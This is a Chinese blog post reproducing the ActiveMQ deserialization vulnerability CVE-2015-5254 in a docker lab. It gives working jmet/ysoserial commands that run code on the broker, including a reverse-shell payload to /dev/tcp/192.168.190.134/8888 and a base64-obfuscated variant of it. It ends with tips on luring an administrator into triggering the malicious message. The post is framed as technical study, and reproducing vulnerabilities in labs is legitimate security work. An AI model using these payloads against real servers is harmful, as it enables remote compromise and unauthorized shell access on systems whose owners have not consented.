2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

文章仅仅学习使用,所有步骤均来自网络,博主无法鉴别判断用户使用本网站教程及软件的真实用途,敬请用户在本国法律所允许范围内使用,
用户一旦因非法使用而违反国家相关的法律法规,所造成的一切不良后果由该用户独立承担,
博主不负责也不承担任何直接间接或连带等法律责任。

*文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

ActiveMQ反序列化漏洞,CVE-2015-5254

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

参考链接:

运行漏洞环境:docker-compose up -d,出现done,说明容器运行成功

2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

输入命令,docker ps,可以查看容器信息,看到开启了8161和61616端口,其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的

2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。

jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

jmet需要JAVA环境支持,如果没安装JAVA可以运行,apt-get install openjdk-8-jre-headless。安装完成之后运行java -version看是否出现安装的java版本,有信息说明java安装成功

2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

JAVA安装完成之后,安装jmet,执行

切换到opt目录:cd /opt/

 下载jemt:sudo wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

 2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

 创建目录,mkdir external

2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

构建pyload:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/xxx" -Yp ROME your-ip 61616,这个pyload是在靶机/tmp/目录下创建一个xxx文件

 2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

 此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://192.168.190.133:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

 2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

 点击事件就会触发执行命令

 2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

进入docker下的/tmp查看情况

查看容器ID:docker ps

进入容器:docker exec -it 容器ID /bin/bash

查看命令执行成功

 2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

反弹shell

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/192.168.190.134/8888 0>&1" -Yp ROME 192.168.190.133 61616

这里需要一些小技巧来绕过java的机制,bash -c {echo,payload的basse64编码}|{base64,-d}|{bash,-i}

完全构成的Pyload为:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMzQvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.190.133 61616

2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

 shell反弹成功:

2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

 值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。

相关推荐